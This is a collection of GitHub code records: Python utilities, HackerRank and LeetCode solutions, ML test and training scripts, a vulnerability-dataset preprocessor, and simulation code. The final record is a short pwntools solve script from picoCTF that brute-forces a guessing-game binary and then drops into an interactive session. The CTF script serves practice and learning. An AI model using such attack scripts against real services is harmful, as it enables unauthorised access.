+{"seq_id":"72745691209","text":"'''\nФункция для конвертации размера в байтах в ближайшее измерение\n'''\n\ndef get_unit_trans(x, s=1024):\n    d_units = {'B': 1, 'KB': 1024, 'MB': 1024 ** 2, 'GB': 1024 ** 3,\n               1: 'B', 2: 'KB', 3: 'MB', 4: 'GB'}\n    for i in range(1, 5):\n        if x > s: x /= s\n        else: break\n    return str(round(x)), d_units[i]\n\ndef size(byt: int):\n    d = {1024 ** 3: 'GB', 1024 ** 2: 'MB', 1024: 'KB', 1: 'B'}\n    for key, val in d.items():\n        if byt > key:\n            return round(byt / key), val\n\ndef hr_size(n, k = 0):\n    return f\"{round(n)} {['B', 'KB', 'MB', 'GB', 'TB'][k]}\" if n < 1024 else hr_size(n / 1024, k + 1)\n\ndef convert_bytes(size):\n    \"\"\"Конвертер байт в большие единицы\"\"\"\n    if size < 1000:\n        return f'{size} B'\n    elif 1000 <= size < 1000000:\n        return f'{round(size / 1024)} KB'\n    elif 1000000 <= size < 1000000000:\n        return f'{round(size / 1048576)} MB'\n    else:\n        return f'{round(size / 1073741824)} GB'","repo_name":"Goodvin013/Learning_project","sub_path":"Unit_trans.py","file_name":"Unit_trans.py","file_ext":"py","file_size_in_byte":1048,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"22268220911","text":"# ginortS\r\n# You are given a string S. S contains alphanumeric characters only. Your task is to sort the string in the following manner All sorted lowercase letters are ahead of uppercase letters. All sorted uppercase letters are ahead of digits. All sorted odd digits are ahead of sorted even digits.\r\n\r\n# Input Format: A single line of input contains the string .\r\n\r\n# Output Format: Output the sorted string.\r\n\r\n# Sample Input Sorting1234\r\n\r\n# Sample Output ginortS1324\r\n\r\na,b,c,d=[],[],[],[]\r\nfor i in sorted(input()):\r\n    if i.isalpha():\r\n        x = b if i.isupper() else a\r\n    else:\r\n        x = c if int(i)%2 else d\r\n    x.append(i)\r\nprint(\"\".join(a+b+c+d))\r\n","repo_name":"victim1307/Tasks","sub_path":"week1/ginortS.py","file_name":"ginortS.py","file_ext":"py","file_size_in_byte":669,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"23477572275","text":"import numpy as np\nimport nvidia.dali.fn as fn\nimport nvidia.dali.types as types\nfrom nose.tools import nottest\nfrom nvidia.dali import pipeline_def\nfrom test_utils import np_type_to_dali\nimport itertools\nfrom nose2.tools import params\n\n\ndef ref_cast(x, dtype):\n    if np.issubdtype(dtype, np.integer):\n        lo = np.iinfo(dtype).min\n        hi = np.iinfo(dtype).max\n        if np.issubdtype(x.dtype, np.floating):\n            x = np.round(x)\n        return x.clip(lo, hi).astype(dtype)\n    else:\n        return x.astype(dtype)\n\n\ndef random_shape(rng, ndim: int, max_size: int):\n    if ndim == 0:\n        return []\n    max_size = int(max_size ** (1 / ndim))\n    return list(rng.integers(1, max_size, [ndim]))\n\n\ndef replace_with_empty_volumes(rng, input, empty_volume_policy):\n    \"\"\"Replaces samples with 0-volumed ones if possible.\n\n    Parameters\n    ----------\n    rng :\n        rng\n    input : List of np.array\n        Batch to process\n    empty_volume_policy : str\n        one of \"left\", \"right, \"middle\", \"mixed\", \"all\", to indicate if the batch suffix, prefix,\n        infix or all of them should be randomly replaced with 0-volumed samples\n\n    Returns\n    -------\n    List of np.array\n    \"\"\"\n    if empty_volume_policy is None:\n        return input\n    if len(input[0].shape) == 0:\n        return input\n    if empty_volume_policy == \"mixed\":\n        left = replace_with_empty_volumes(rng, input, \"left\")\n        left_and_mid = replace_with_empty_volumes(rng, left, \"middle\")\n        return replace_with_empty_volumes(rng, left_and_mid, \"right\")\n    if empty_volume_policy == \"all\":\n        start = 0\n        end = len(input)\n    elif empty_volume_policy == \"left\":\n        start = 0\n        end = rng.integers(1, len(input) // 3)\n    elif empty_volume_policy == \"right\":\n        start = rng.integers(len(input) * 2 // 3, len(input) - 1)\n        end = len(input)\n    elif empty_volume_policy == \"middle\":\n        start = rng.integers(1 + len(input) // 3, len(input) * 2 // 3)\n        end = rng.integers(start + 1, len(input) - 1)\n    for i in range(start, end):\n        shape = list(input[i].shape)\n        shape[0] = 0\n        input[i] = np.zeros(dtype=input[i].dtype, shape=shape)\n    return input\n\n\ndef generate(rng, ndim: int, batch_size: int, in_dtype: np.dtype, out_dtype: np.dtype,\n             empty_volume_policy: str):\n    lo, hi = -1000, 1000\n    if np.issubdtype(out_dtype, np.integer):\n        lo = np.iinfo(out_dtype).min\n        hi = np.iinfo(out_dtype).max\n        if hi < np.iinfo(np.int64).max:\n            r = hi - lo\n            hi += r // 2\n            lo -= r // 2\n        if np.issubdtype(in_dtype, np.integer):\n            lo = max(np.iinfo(in_dtype).min, lo)\n            hi = min(np.iinfo(in_dtype).max, hi)\n        else:\n            lo = max(-np.finfo(in_dtype).max, lo)\n            hi = min(np.finfo(in_dtype).max, hi)\n\n    max_size = 100000 // batch_size\n    out = [rng.uniform(lo, hi, size=random_shape(rng, ndim, max_size)).astype(in_dtype) for _ in\n           range(batch_size)]\n    out = replace_with_empty_volumes(rng, out, empty_volume_policy)\n    if np.issubdtype(in_dtype, np.floating) and np.issubdtype(out_dtype, np.integer):\n        for x in out:\n            # avoid exactly halfway numbers - rounding is different for CPU and GPU\n            halfway = x[x - np.floor(x) == 0.5]\n            x[x - np.floor(x) == 0.5] = np.nextafter(halfway, np.Infinity)\n    return out\n\n\nrng = np.random.default_rng(1234)\n\n\n@nottest\ndef _test_operator_cast(ndim, batch_size, in_dtype, out_dtype, device, empty_volume_policy=None):\n    def src():\n        return generate(rng, ndim, batch_size, in_dtype, out_dtype, empty_volume_policy)\n\n    @pipeline_def(batch_size=batch_size, num_threads=4,\n                  device_id=types.CPU_ONLY_DEVICE_ID if device == 'cpu' else 0)\n    def cast_pipe():\n        inp = fn.external_source(src)\n        inp_dev = inp.gpu() if device == 'gpu' else inp\n        return inp, fn.cast(inp_dev, dtype=np_type_to_dali(out_dtype))\n\n    pipe = cast_pipe()\n    pipe.build()\n    for _ in range(10):\n        inp, out = pipe.run()\n        if device == 'gpu':\n            out = out.as_cpu()\n        ref = [ref_cast(np.array(x), out_dtype) for x in inp]\n\n        # work around a bug in numpy: when the argument is a scalar fp32 or fp16, nextafter\n        # promotes it to fp64, resulting in insufficient epsilon - we want an epsilon of the\n        # type specified in out_dtype\n        eps = 0 if np.issubdtype(out_dtype, np.integer) else \\\n            (np.nextafter(out_dtype([1]), 2) - 1.0)[0]\n\n        for i in range(batch_size):\n            if not np.allclose(out[i], ref[i], eps):\n                matI = np.array(inp[i])\n                matO = np.array(out[i])\n                matR = ref[i]\n                mask = np.logical_not(np.isclose(matO, matR, eps))\n                print(f\"At sample {i}:\\nI:\\n{matI}\\nO\\n{matO}\\nR\\n{matR}\")\n                print(f\"Differences at {mask}:\\nI:\\n{matI[mask]}\\nO\\n{matO[mask]}\\nR\\n{matR[mask]}\")\n                print(f\"Result: {np.count_nonzero(mask)} wrong values out of {mask.size}.\")\n                assert np.array_equal(out[i], ref[i])\n\n\ndef test_operator_cast():\n    types = [np.uint8, np.int8, np.uint16, np.int16, np.uint32, np.int32, np.uint64, np.int64,\n             np.float16, np.float32]\n    for device in ['cpu', 'gpu']:\n        for in_type in types:\n            for out_type in types:\n                ndim = rng.integers(0, 4)\n                batch_size = rng.integers(1, 11)\n                yield _test_operator_cast, ndim, batch_size, in_type, out_type, device\n\n\ndef test_operator_cast_empty_volumes():\n    types = [np.uint8, np.int32, np.float32]\n    for device in ['cpu', 'gpu']:\n        for in_type in types:\n            for out_type in types:\n                ndim = rng.integers(0, 4)\n\n                batch_size = rng.integers(12, 64)\n                for empty_volume_policy in [\n                    rng.choice([\"left\", \"right\", \"middle\", \"mixed\"]), \"all\"\n                ]:\n                    yield (_test_operator_cast, ndim, batch_size, in_type, out_type, device,\n                           empty_volume_policy)\n\n\n@params(*itertools.product((('cpu', 'cpu'), ('gpu', 'cpu'), ('gpu', 'gpu')),\n                           (np.uint8, np.int32, np.float32),\n                           (np.uint8, np.int32, np.float32)))\ndef test_cast_like(devices, dtype_in, dtype_out):\n    @pipeline_def(batch_size=1, num_threads=4, device_id=0)\n    def cast_pipe():\n        device_left, device_right = devices\n        data0 = fn.random.uniform(range=[0, 255], dtype=np_type_to_dali(dtype_in),\n                                  device=device_left)\n        data1 = fn.random.uniform(range=[0, 255], dtype=np_type_to_dali(dtype_out),\n                                  device=device_right)\n        return fn.cast_like(data0, data1)\n    p = cast_pipe()\n    p.build()\n    out, = p.run()\n    expected_type = np_type_to_dali(dtype_out)\n    assert out.dtype == expected_type, f\"{out.dtype} != {expected_type}\"\n","repo_name":"NVIDIA/DALI","sub_path":"dali/test/python/operator_1/test_cast.py","file_name":"test_cast.py","file_ext":"py","file_size_in_byte":7003,"program_lang":"python","lang":"en","doc_type":"code","stars":4689,"dataset":"github-code","pt":"16"}
+{"seq_id":"6150238469","text":"#! coding: utf8\n# Ref: https://github.com/kuza55/keras-extras/blob/master/utils/multi_gpu.py\nimport keras.backend as K\nfrom keras.layers import Lambda, merge, concatenate\nfrom keras.models import Model\n\nimport tensorflow as tf\n\n\nclass Parallelizer(object):\n    def __init__(self):\n        self.n_gpus = self._get_n_gpus()\n\n    def _get_n_gpus(self):\n        \"\"\"Get numbers of available GPUs.\"\"\"\n        from tensorflow.python.client import device_lib\n        return len([\n            1\n            for x in device_lib.list_local_devices()\n            if x.device_type == 'GPU'\n        ])\n\n    def transform(self, model):\n        def get_slice(data, idx, parts):\n            is_last_slice = idx == parts - 1\n            \n            shape = K.shape(data)\n            minibatch_size, features = shape[:1], shape[1:]\n            stride = K.concatenate([minibatch_size//parts, features*0], axis=0)\n            if is_last_slice:\n                # feed everything else if it's the last slice\n                size = K.concatenate([[-1], features], axis=0)\n            else:\n                size = K.concatenate([minibatch_size//parts, features], axis=0)\n            begin = stride * idx\n            return tf.slice(data, begin, size)\n\n        outputs_all = [[] for i in model.outputs]\n\n        # Place a copy of the model on each GPU\n        # each getting a slice of the batch\n        for gpu_id in xrange(self.n_gpus):\n            with tf.device('/gpu:%d' % gpu_id):\n                with tf.name_scope('tower_%d' % gpu_id) as scope:\n                    inputs = []\n                    # Slice each input into a piece for processing on this GPU\n                    for x in model.inputs:\n                        input_shape = tuple(x.get_shape().as_list())[1:]\n                        slice_n = Lambda(\n                            get_slice,\n                            output_shape=input_shape,\n                            arguments={\n                                'idx': gpu_id,\n                                'parts': self.n_gpus\n                            })(x)\n                        inputs.append(slice_n)\n\n                    outputs = model(inputs)\n\n                    if not isinstance(outputs, list):\n                        outputs = [outputs]\n\n                    # Save all the outputs for merging back together later\n                    for l in xrange(len(outputs)):\n                        outputs_all[l].append(outputs[l])\n\n        # all output tensors on CPU\n        with tf.device('/cpu:0'):\n            return Model(\n                inputs=model.inputs,\n                outputs=[\n                    # merge outputs from all GPU\n                    concatenate(o, axis=0)\n                    for o in outputs_all\n                ]\n            )\n","repo_name":"cherryunix/data_mining_tools","sub_path":"parallelizer.py","file_name":"parallelizer.py","file_ext":"py","file_size_in_byte":2765,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"22406365948","text":"# show that a * b can be less than min(a,b)\n\ndef is_product_less_than_minimum(a, b):\n    product = a * b  # var1\n    minimum = min(a, b) # var2\n    return product < minimum # return the boolean condition\n\n# inputs hardcoded\na = 3\nb = -4\n\n# call the funtion with args\nresults = is_product_less_than_minimum(a, b)\n\n# print true or false\nprint(results) \n","repo_name":"TheEvergreenStateCollege/upper-division-cs","sub_path":"dsa-23au/java-dsa/pswish-pipeline/Homework_problems/week1/1_2.py","file_name":"1_2.py","file_ext":"py","file_size_in_byte":351,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"16"}
+{"seq_id":"72330110088","text":"import pandas as pd\nimport os\n\ndef find_primary_source_file(datapoints):\n    \"\"\"\n    Given a list of datapoints representing the files for a single\n    testcase, try to find which of the files is the \"primary\"\n    file.\n    According to the Juliet documentation, this should be the\n    only file which defines the main function.\n    In contrast, there is only ever one piece of code in the\n    vdisc dataset.\n    \"\"\"\n\n    if len(datapoints) == 1:\n        # VDISC case and some of Juliet\n        return datapoints.iloc[0]\n\n    elif len(datapoints) > 1:\n        # Juliet only case\n        for datapoint in datapoints.itertuples():\n            for line in datapoint.code.split(\"\\n\"):\n                if line.startswith(\"int main(\"):\n                    #primary = datapoint\n                    return datapoint\n\n        return datapoints.iloc[0]\n\n\ndef get_bug_lable(testcase, **kwargs):\n    \"\"\"\n    Takes in a list of files/datapoints from juliet.csv.zip or\n    vdisc_*.csv.gz (as loaded with pandas) matching one particular\n    testcase, and preprocesses it ready for the baseline model.\n    \"\"\"\n    lable_list = [\n        (datapoint.CWE_119, datapoint.CWE_120,datapoint.CWE_469,datapoint.CWE_476,datapoint.CWE_OTHERS)\n        for datapoint in testcase.itertuples()\n    ]\n    for datapoint in testcase.itertuples():\n        lable = int(datapoint.CWE_119)+int(datapoint.CWE_120)+int(datapoint.CWE_469)+int(datapoint.CWE_476)+int(datapoint.CWE_OTHERS)\n    if lable > 0:\n        return \"yes\"\n    else:\n        return \"no\"\n\nif __name__ == '__main__':\n    train = pd.read_csv('./juliet_split.csv.gz')\n    df = train.groupby(['testcase_ID'])\n    for group in df:\n        testcase = group[1]   # 取出第二个元素\n        #lable = get_bug_lable(testcase)\n        primary = find_primary_source_file(testcase)\n        fileName = str(primary[1])+\"_\"+str(primary[0])\n        print(\"allJcpp/\"+fileName+\".cpp\")\n        dirname = \"allJcpp/\"+fileName+\"/\"\n        os.makedirs(dirname)\n        flag = False\n        for line in primary.code.split(\"\\n\"):\n            if line.startswith(\"/* Below is the main(\"):\n                flag = True\n            if not line.startswith(\"/* Below is the main(\"):\n                if not flag:\n                    with open(dirname+fileName+\".cpp\",\"a+\") as f:   \n                        f.write(line+\"\\n\")\n    '''            \n    test = pd.read_csv('./vdisc_test_all.csv') \n    df = test.groupby(['testcase_ID'])\n    for group in df:\n        testcase = group[1]   # 取出第二个元素\n        lable = get_bug_lable(testcase)\n        for datapoint in testcase.itertuples():\n            code = datapoint.code\n            fileName = datapoint.testcase_ID\n            pos=code.find('(')\n            code = \"test_\"+lable+code[pos:]\n            print(\"allcpp/\"+lable+'_'+fileName+\".cpp\")\n            dirname = \"allcpp/\"+lable+'_test'+'_'+fileName+\"/\"\n            os.makedirs(dirname)\n            with open(dirname+lable+'_test'+'_'+fileName+\".cpp\",\"w+\") as f:   \n                f.write(code)\n                \n    val = pd.read_csv('./vdisc_validate_all.csv')\n    df = val.groupby(['testcase_ID'])\n    for group in df:\n        testcase = group[1]   # 取出第二个元素\n        lable = get_bug_lable(testcase)\n        for datapoint in testcase.itertuples():\n            code = datapoint.code\n            fileName = datapoint.testcase_ID\n            pos=code.find('(')\n            code = \"val_\"+lable+code[pos:]\n            print(\"allcpp/\"+lable+'_'+fileName+\".cpp\")\n            dirname = \"allcpp/\"+lable+'_val'+'_'+fileName+\"/\"\n            os.makedirs(dirname)\n            with open(dirname+lable+'_val'+'_'+fileName+\".cpp\",\"w+\") as f:   \n                f.write(code)\n    '''","repo_name":"ZeoVan/Baselines","sub_path":"ASTNN/createCppforJ.py","file_name":"createCppforJ.py","file_ext":"py","file_size_in_byte":3695,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"69999546567","text":"import numpy as np\nimport random\n\n\nclass World:\n    def __init__(self, y, x, food_per_day):\n        self.EMPTY = 0.0\n        self.WORLD_EDGE = 1.0\n        self.FOOD = 2.0\n        self.CREATURE = 3.0\n\n        self.world_x = x\n        self.world_y = y\n        self.world_map = self.__generate_map()\n        self.empty_spaces = []\n        self.food_per_day = food_per_day\n        self.__update_empty_spaces()\n\n    def spawn_food(self):\n        for _ in range(self.food_per_day):\n            food_space_y, food_space_x = self.__find_free_space()\n            self.world_map[food_space_y][food_space_x] = self.FOOD\n            self.__update_empty_spaces()\n\n    def spawn_creature(self):\n        creature_space_y, creature_space_x = self.__find_free_space()\n        self.world_map[creature_space_y][creature_space_x] = self.CREATURE\n        self.__update_empty_spaces()\n        return creature_space_y, creature_space_x\n\n    def remove_creature(self, location):\n        creature_space_y, creature_space_x = location\n        self.world_map[creature_space_y][creature_space_x] = self.EMPTY\n        self.__update_empty_spaces()\n\n    def move_creature_and_eat(self, old_location, new_location):\n        ate_food = False\n        y_old_location, x_old_location = old_location\n        y_new_location, x_new_location = new_location\n        self.world_map[y_old_location][x_old_location] = self.EMPTY\n        if self.world_map[y_new_location][x_new_location] == self.FOOD:\n            ate_food = True\n        self.world_map[y_new_location][x_new_location] = self.CREATURE\n        self.__update_empty_spaces()\n        return ate_food\n\n    def end_day(self):\n        for y in range(self.world_y):\n            for x in range(self.world_x):\n                if self.world_map[y][x] == self.FOOD:\n                    self.world_map[y][x] = self.EMPTY\n        self.__update_empty_spaces()\n\n    def __find_free_space(self):\n        space = self.empty_spaces[random.randint(0, len(self.empty_spaces) - 1)]\n        return tuple(space)\n\n    def __generate_map(self):\n        world = np.ones((self.world_y, self.world_x))\n        world[1:-1, 1:-1] = self.EMPTY\n        return world\n\n    def __update_empty_spaces(self):\n        empty_spaces = []\n        for y in range(self.world_y - 1):\n            for x in range(self.world_x - 1):\n                if self.world_map[y][x] == self.EMPTY:\n                    empty_spaces.append((y,x))\n        self.empty_spaces = empty_spaces\n","repo_name":"kks110/python-simulations","sub_path":"natural_selection/world/world.py","file_name":"world.py","file_ext":"py","file_size_in_byte":2449,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"71164563207","text":"def nev_bekeres() -> str:\n    name = None\n    while (name == None or len(name) <= 3):\n        print(\"Adja meg a nevét: \",end=\"\")\n        nameInput = input().strip()\n        nameCopy = nameInput.isalpha()\n        if (nameCopy):\n            name = nameInput\n        else:\n            print(\"Nem nevet adott meg\")\n    return name\n\ndef oraszam_bekeres() -> int:\n    ora = None #tipus\n    while (ora == None):\n        print(\"Adja meg a ledolgozott órák számát: \",end=\"\")\n        oraInput = input() #tipus\n        if (oraInput.isnumeric() and int(oraInput) >= 0):\n            ora = int(oraInput)\n        else:\n            print(\"Nem óraszámot adott meg vagy negatív értéket adott meg\")\n    return ora\n\ndef tulora_bekeres() -> int: #miert int?\n    tulOra = None #tipus\n    while (tulOra == None):\n        print(\"Adja meg a túlórák számát: \",end=\"\")\n        tulOraInput = input() #tipus\n        if (tulOraInput.isnumeric() and int(tulOraInput) >= 0):\n            tulOra = int(tulOraInput)\n        else:\n            print(\"Nem óraszámot adott meg vagy negatív értéket adott meg\")\n    return tulOra\n\ndef kiiras(munkasnev:str, penz:int, nap:str) -> None: #pent miert int?\n    print(f\"Hétfő {munkasnev} tárgyhavi fizetése {penz} HUF\" )","repo_name":"K3CSK3/Python2","sub_path":"Wittner Attila Dolgozat/Dolg07-gyakorlat, elmélet (functions)/consoleIO.py","file_name":"consoleIO.py","file_ext":"py","file_size_in_byte":1247,"program_lang":"python","lang":"hu","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"52093940226","text":"class Solution:\n    def maxScore(self, cardPoints: List[int], k: int) -> int:\n        for idx, points in enumerate(cardPoints):\n            if idx !=0:\n                cardPoints[idx] +=(cardPoints[idx-1])\n                \n        total_sum = cardPoints[-1]\n        max_difference:int = -float(inf)\n        len_removed = len(cardPoints)-k\n        \n        for idx in range(len_removed-1, len(cardPoints)):\n            left = cardPoints[idx-len_removed] if idx-len_removed > -1 else 0\n            right = cardPoints[idx]\n            max_difference  = max(max_difference, total_sum - (right - left))\n        return max_difference\n            ","repo_name":"ibsa21/A2SV-practise-questions","sub_path":"1423-maximum-points-you-can-obtain-from-cards/1423-maximum-points-you-can-obtain-from-cards.py","file_name":"1423-maximum-points-you-can-obtain-from-cards.py","file_ext":"py","file_size_in_byte":640,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"2598340949","text":"from bioptim import __version__ as bioptim_version\nfrom setuptools import setup\n\nwith open(\"README.md\", \"r\") as fh:\n    long_description = fh.read()\n\nsetup(\n    name=\"bioptim\",\n    version=bioptim_version,\n    author=\"Pariterre\",\n    author_email=\"pariterre@hotmail.com\",\n    description=\"An optimization framework for Optimal Control Programming in biomechanics\",\n    long_description=long_description,\n    url=\"https://github.com/bioptim/bioptim\",\n    packages=[\n        \".\",\n        \"bioptim\",\n        \"bioptim/dynamics\",\n        \"bioptim/dynamics/fatigue\",\n        \"bioptim/gui\",\n        \"bioptim/interfaces\",\n        \"bioptim/limits\",\n        \"bioptim/misc\",\n        \"bioptim/optimization\",\n        \"examples\",\n    ],\n    license=\"LICENSE\",\n    keywords=[\"biorbd\", \"Ipopt\", \"CasADi\", \"Optimal control\", \"biomechanics\"],\n    classifiers=[\n        \"Programming Language :: Python :: 3\",\n        \"License :: OSI Approved :: MIT License\",\n    ],\n    include_package_data=True,\n    python_requires=\">=3.7\",\n    zip_safe=False,\n)\n","repo_name":"pyomeca/bioptim","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1029,"program_lang":"python","lang":"en","doc_type":"code","stars":74,"dataset":"github-code","pt":"16"}
+{"seq_id":"30206340876","text":"import os\nimport argparse\nimport numpy as np\n\nimport torch\nfrom torch.utils.data import DataLoader\nfrom pytorch_lightning import Trainer\nfrom pytorch_lightning.loggers import WandbLogger\nimport MinkowskiEngine as ME\n\nimport utils.models as models\nfrom utils.datasets.initialization import get_dataset\nfrom configs import get_config\nfrom utils.collation import CollateFN\nfrom utils.pipelines import PLTTester\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"--config_file\",\n                    default=\"configs/source/synlidar_semantickitti.yaml\",\n                    type=str,\n                    help=\"Path to config file\")\nparser.add_argument(\"--eval_source\",\n                    action='store_true',\n                    default=False)\nparser.add_argument(\"--eval_target\",\n                    action='store_true',\n                    default=False)\nparser.add_argument(\"--resume_path\",\n                    type=str,\n                    default=None)\n\nparser.add_argument(\"--is_student\",\n                    default=False,\n                    action='store_true')\n\n\nparser.add_argument(\"--save_predictions\",\n                    default=False,\n                    action='store_true')\n\n\ndef load_model(checkpoint_path, model):\n    # reloads model\n    def clean_state_dict(state):\n        # clean state dict from names of PL\n        for k in list(ckpt.keys()):\n            if \"model\" in k:\n                ckpt[k.replace(\"model.\", \"\")] = ckpt[k]\n            del ckpt[k]\n        return state\n\n    ckpt = torch.load(checkpoint_path, map_location=torch.device('cpu'))[\"state_dict\"]\n    ckpt = clean_state_dict(ckpt)\n    model.load_state_dict(ckpt, strict=True)\n    return model\n\n\ndef load_student_model(checkpoint_path, model):\n    # reloads model\n    def clean_state_dict(state):\n        # clean state dict from names of PL\n        for k in list(ckpt.keys()):\n            if \"model\" in k:\n                ckpt[k.replace(\"student_model.\", \"\")] = ckpt[k]\n            del ckpt[k]\n        return state\n\n    ckpt = torch.load(checkpoint_path, map_location=torch.device('cpu'))[\"state_dict\"]\n    ckpt = clean_state_dict(ckpt)\n    model.load_state_dict(ckpt, strict=True)\n    return model\n\n\ndef test(config, resume_checkpoint):\n\n    def get_dataloader(dataset, shuffle=False, pin_memory=True):\n        return DataLoader(dataset,\n                          batch_size=config.pipeline.dataloader.batch_size*4,\n                          collate_fn=CollateFN(),\n                          shuffle=shuffle,\n                          num_workers=config.pipeline.dataloader.num_workers,\n                          pin_memory=pin_memory)\n    try:\n        mapping_path = config.dataset.mapping_path\n    except AttributeError('--> Setting default class mapping path!'):\n        mapping_path = None\n\n    _, validation_dataset, target_dataset = get_dataset(dataset_name=config.dataset.name,\n                                                                       dataset_path=config.dataset.dataset_path,\n                                                                       target_name=config.dataset.target,\n                                                                       voxel_size=config.dataset.voxel_size,\n                                                                       augment_data=config.dataset.augment_data,\n                                                                       version=config.dataset.version,\n                                                                       sub_num=config.dataset.num_pts,\n                                                                       num_classes=config.model.out_classes,\n                                                                       ignore_label=config.dataset.ignore_label,\n                                                                       mapping_path=mapping_path)\n\n    validation_dataloader = get_dataloader(validation_dataset, shuffle=False)\n    target_dataloader = get_dataloader(target_dataset, shuffle=False)\n\n    validation_dataloader = [validation_dataloader]\n    target_dataloader = [target_dataloader]\n\n    Model = getattr(models, config.model.name)\n    model = Model(config.model.in_feat_size, config.model.out_classes)\n\n    model = ME.MinkowskiSyncBatchNorm.convert_sync_batchnorm(model)\n    if not args.is_student:\n        model = load_model(resume_checkpoint, model)\n        print(f'--> LOADED MODEL FROM {resume_checkpoint}')\n    else:\n        model = load_student_model(resume_checkpoint, model)\n        print(f'--> LOADED STUDENT MODEL FROM {resume_checkpoint}')\n\n    dataset = validation_dataset if args.eval_source else target_dataset\n\n    main_dir, _ = os.path.split(resume_checkpoint)\n\n    save_dir = os.path.join(main_dir, 'evaluation')\n    save_preds_dir = os.path.join(main_dir, 'predictions')\n\n    plt_model = PLTTester(model,\n                          criterion=config.pipeline.loss,\n                          dataset=dataset,\n                          num_classes=config.model.out_classes,\n                          checkpoint_path=resume_checkpoint,\n                          save_predictions=args.save_predictions,\n                          save_folder=save_preds_dir)\n\n    wandb_logger = WandbLogger(project=config.pipeline.wandb.project_name,\n                               entity=config.pipeline.wandb.entity_name,\n                               name=save_dir,\n                               offline=True)\n\n    os.makedirs(save_dir, exist_ok=True)\n    loggers = [wandb_logger]\n\n    tester = Trainer(max_epochs=config.pipeline.epochs,\n                     gpus=[0],\n                     logger=loggers,\n                     default_root_dir=save_dir,\n                     weights_save_path=save_dir,\n                     val_check_interval=1.0,\n                     num_sanity_val_steps=0)\n\n    if args.eval_source:\n        tester.test(plt_model, dataloaders=validation_dataloader, verbose=False)\n    elif args.eval_target:\n        tester.test(plt_model, dataloaders=target_dataloader, verbose=False)\n    else:\n        print('Not evaluating!')\n\n\ndef multiple_test(config, path):\n    list_checkpoint = os.listdir(os.path.join(path, 'checkpoints'))\n    list_checkpoint = [c for c in list_checkpoint if c.endswith('.ckpt')]\n    for checkpoint in list_checkpoint:\n        if not os.path.isfile(os.path.join(path, 'checkpoints', 'evaluation', 'results', checkpoint[:-5]+'_test.csv')):\n            print(f'############### EVALUATING {checkpoint} ####################')\n            test(config, os.path.join(path, 'checkpoints', checkpoint))\n        else:\n            print(f'############### EVALUATION {checkpoint} SKIPPED - ALREADY PRESENT ####################')\n\n\nif __name__ == '__main__':\n    args = parser.parse_args()\n\n    config = get_config(args.config_file)\n\n    # fix random seed\n    os.environ['PYTHONHASHSEED'] = str(config.pipeline.seed)\n    np.random.seed(config.pipeline.seed)\n    torch.manual_seed(config.pipeline.seed)\n    torch.cuda.manual_seed(config.pipeline.seed)\n    torch.backends.cudnn.benchmark = True\n\n    multiple_test(config, args.resume_path)\n","repo_name":"saltoricristiano/cosmix-uda","sub_path":"eval.py","file_name":"eval.py","file_ext":"py","file_size_in_byte":7072,"program_lang":"python","lang":"en","doc_type":"code","stars":45,"dataset":"github-code","pt":"16"}
+{"seq_id":"29846728223","text":"\"\"\"\nCreated on 23 Dec 2013\n\n@author: Emily\n\"\"\"\n\nSCREEN_WIDTH = 80\nSCREEN_HEIGHT = 60\n\nLIMIT_FPS = 20\n\nINFO_BAR_WIDTH = 25\n\nMAP_VIEW_WIDTH = SCREEN_WIDTH - INFO_BAR_WIDTH  # viewport for map screen\nMAP_VIEW_WIDTH_HALF = MAP_VIEW_WIDTH / 2\nMAP_VIEW_HEIGHT = 40\nMAP_VIEW_HEIGHT_HALF = 20\n\nMAP_WIDTH = 80  # actual map size\nMAP_HEIGHT = 60  # map size\n\nPANEL_HEIGHT = SCREEN_HEIGHT - MAP_VIEW_HEIGHT\nPANEL_WIDTH = SCREEN_WIDTH - INFO_BAR_WIDTH\nPANEL_Y = SCREEN_HEIGHT - PANEL_HEIGHT\n\nMSG_X = 2\nMSG_WIDTH = SCREEN_WIDTH - 2\nMSG_HEIGHT = PANEL_HEIGHT - 1\n\nui = None\ngame_msgs = []\ndate = []\n\ncon = None\ncon_char = None\ninf = None\n\nland = None\ntiles = []\nobjects = []\n\n# ## FLAGS\nmsg_redraw = True\n","repo_name":"Lemmily/FarmerRL","sub_path":"src/R.py","file_name":"R.py","file_ext":"py","file_size_in_byte":691,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"40444026451","text":"#!/usr/bin/python3\n\nfrom pwn import *\n\nexe = ELF(\"./vuln\",checksec=False)\n\nr = process(exe.path)\n\nr.sendlineafter(b'What number would you like to guess?\\n',b'2002')\n\nwhile 1:\n\ta = r.recv().decode()\n\tif 'Nope!\\n' not in a:\n\t\tbreak\n\n\tr.sendline(b'2002')\n\n\n\n\n\n\nr.interactive()","repo_name":"TienBuffalo/WritepPicoCTF","sub_path":"pico2022/guessing_game2/solve.py","file_name":"solve.py","file_ext":"py","file_size_in_byte":273,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
